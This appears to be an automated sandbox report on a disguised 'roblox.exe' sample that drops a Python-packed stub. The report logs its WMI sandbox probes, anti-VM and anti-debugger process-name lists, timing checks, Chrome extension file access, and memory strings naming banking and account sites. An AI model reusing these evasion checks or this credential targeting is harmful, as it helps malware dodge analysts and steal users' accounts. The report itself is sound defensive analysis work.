Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\System32\systeminfo.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter

Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)

Source: C:\Windows\System32\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Caption, Description, ProviderName FROM Win32_LogicalDisk

Queries sensitive service information (via WMI, Win32_StartupCommand, often done to detect sandboxes)

Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Caption, Command FROM Win32_StartupCommand
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Caption, Command FROM Win32_StartupCommand

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: PROCESSHACKER.EXE
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: UFIDDLER.EXE
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: USBIEDLL.DLLUANTIVM.CHECKDLLT
Source: stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OLLYDBG.EXE
Source: stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: QEMU-GA.EXE
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: UXENSERVICE.EXE
Source: stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: VMUSRVC.EXE
Source: stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: UWIRESHARK.EXE
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: UOLLYDBG.EXE
Source: stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: FIDDLER.EXE
Source: stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: XENSERVICE.EXE
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: USBIEDLL.DLL
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: UVMTOOLSD.EXEUVMWARETRAY.EXEUVMACTHLP.EXEUVBOXTRAY.EXEUVBOXSERVICE.EXEUVMSRVC.EXEUPRL_TOOLS.EXEUXENSERVICE.EXEUANTIVM.CHECKPROCESST
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: UPROCESSHACKER.EXE
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: UQEMU-GA.EXE
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: UVMUSRVC.EXE
Source: stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: WIRESHARK.EXE

Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe

Code function: 3_2_00007FF8A7DE4241 rdtsc

3_2_00007FF8A7DE4241

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 55_2_00007FF8477B1031 sldt word ptr [eax]

55_2_00007FF8477B1031

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3823	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2203	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5588
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3327

Source: C:\Users\user\Desktop\roblox.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_uuid.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\yarl\_helpers_c.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\aiohttp\_http_parser.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\aiohttp\_websocket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_multiprocessing.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_asyncio.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\frozenlist\_frozenlist.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\multidict\_multidict.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_overlapped.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\aiohttp\_helpers.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\yarl\_quoting_c.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_cffi_backend.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\aiohttp\_http_writer.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\cryptography\hazmat\bindings\_rust.pyd	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe

API coverage: 0.2 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 432	Thread sleep count: 3823 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 432	Thread sleep count: 2203 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7100	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3176	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4440	Thread sleep count: 5588 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4996	Thread sleep count: 3327 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5032	Thread sleep time: -17524406870024063s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4484	Thread sleep time: -1844674407370954s >= -30000s

Source: C:\Windows\System32\systeminfo.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT UUID FROM Win32_ComputerSystemProduct
Source: C:\Windows\System32\net.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT UUID FROM Win32_ComputerSystemProduct
Source: C:\Windows\System32\ARP.EXE	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT UUID FROM Win32_ComputerSystemProduct
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT UUID FROM Win32_ComputerSystemProduct
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT UUID FROM Win32_ComputerSystemProduct

Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Users\user\Desktop\roblox.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe

3_2_00007FF8A7DE3229

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css	Jump to behavior

Source: stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: VMware
Source: stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmusrvc.exe
Source: stub.exe, 00000003.00000003.2291250272.000002895A24B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: stub.exe, 00000003.00000003.2566558448.000002895A3AB000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2564574377.000002895A39E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2560249793.000002895A39D000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2559086976.000002895A369000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2535338533.000002895A3DD000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2535137454.000002895A3DC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: *Hyper-V Administrators
Source: stub.exe, 00000003.00000003.2291250272.000002895A24B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: stub.exe, 00000003.00000003.2291250272.000002895A24B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: qemu-ga.exe
Source: stub.exe, 00000003.00000003.2566558448.000002895A3AB000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2564574377.000002895A39E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2560249793.000002895A39D000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2559086976.000002895A369000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2575003464.000002895A660000.00000004.00001000.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2535338533.000002895A3DD000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2535137454.000002895A3DC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DISPLAY_NAME: Hyper-V Heartbeat Service
Source: stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: uvmwareuser.exe
Source: stub.exe, 00000003.00000003.2291250272.000002895A24B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: stub.exe, 00000003.00000003.2566558448.000002895A3AB000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2564574377.000002895A39E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2560249793.000002895A39D000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2559086976.000002895A369000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2535338533.000002895A3DD000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2535137454.000002895A3DC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DISPLAY_NAME: Hyper-V Volume Shadow Copy Requestor
Source: stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: uvmtoolsd.exeuvmwaretray.exeuvmacthlp.exeuvboxtray.exeuvboxservice.exeuvmsrvc.exeuprl_tools.exeuxenservice.exeuAntiVM.CheckProcessT
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: aqemu
Source: stub.exe, 00000003.00000003.2566558448.000002895A3AB000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2564574377.000002895A39E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2560249793.000002895A39D000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2559086976.000002895A369000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2575003464.000002895A660000.00000004.00001000.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2535338533.000002895A3DD000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2535137454.000002895A3DC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DISPLAY_NAME: Hyper-V Time Synchronization Service
Source: stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: avirtualboxavmwareuAntiVM.CheckGpuadecoded_outputu<genexpr>uAntiVM.CheckGpu.<locals>.<genexpr>L
Source: stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: avmware
Source: stub.exe, 00000003.00000003.2291250272.000002895A24B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: stub.exe, 00000003.00000002.2575891839.000002895A9F4000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Hyper-V Requirements:
Source: stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwareuser.exe
Source: stub.exe, 00000003.00000003.2291250272.000002895A24B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: stub.exe, 00000003.00000003.2291250272.000002895A24B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmware
Source: stub.exe, 00000003.00000003.2291250272.000002895A24B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: stub.exe, 00000003.00000003.2291250272.000002895A24B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: stub.exe, 00000003.00000003.2291250272.000002895A24B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: stub.exe, 00000003.00000003.2566558448.000002895A3AB000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2564574377.000002895A39E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2560249793.000002895A39D000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2559086976.000002895A369000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2575003464.000002895A660000.00000004.00001000.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2535338533.000002895A3DD000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2535137454.000002895A3DC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DISPLAY_NAME: Hyper-V PowerShell Direct Service
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: asandboxacuckooavmavirtualaqemuavboxaxenanodeuAntiVM.CheckHostNameT
Source: stub.exe, 00000003.00000003.2566558448.000002895A3AB000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2564574377.000002895A39E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2560249793.000002895A39D000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2559086976.000002895A369000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2575003464.000002895A660000.00000004.00001000.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2535338533.000002895A3DD000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2535137454.000002895A3DC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DISPLAY_NAME: Hyper-V Data Exchange Service
Source: stub.exe, 00000003.00000003.2291250272.000002895A24B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: stub.exe, 00000003.00000003.2566558448.000002895A3AB000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2564574377.000002895A39E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2560249793.000002895A39D000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2559086976.000002895A369000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2535338533.000002895A3DD000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2535137454.000002895A3DC000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2535378926.000002895A2DF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DISPLAY_NAME: Hyper-V Guest Shutdown Service
Source: stub.exe, 00000003.00000003.2566558448.000002895A3AB000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2564574377.000002895A39E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2560249793.000002895A39D000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2559086976.000002895A369000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2535338533.000002895A3DD000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2535137454.000002895A3DC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DISPLAY_NAME: Hyper-V Guest Service Interface
Source: stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmsrvc.exe
Source: stub.exe, 00000003.00000003.2291250272.000002895A24B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vboxservice.exe
Source: stub.exe, 00000003.00000003.2291250272.000002895A24B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: uvmusrvc.exe
Source: stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vboxtray.exe
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AE55C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: j2aTPs+9xYa9+bG3tD60B8jzljHz7aRP+KNOjSkVWLjVb3/ubCK1sK9IRQq9qEmU
Source: stub.exe, 00000003.00000003.2291250272.000002895A24B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwaretray.exe
Source: stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: uvboxservice.exe
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: uqemu-ga.exe
Source: stub.exe, 00000003.00000003.2291250272.000002895A24B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: uvmtoolsd.exe
Source: stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: uvmsrvc.exe
Source: stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmtoolsd.exe
Source: stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: cvmware
Source: stub.exe, 00000003.00000003.2291250272.000002895A24B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
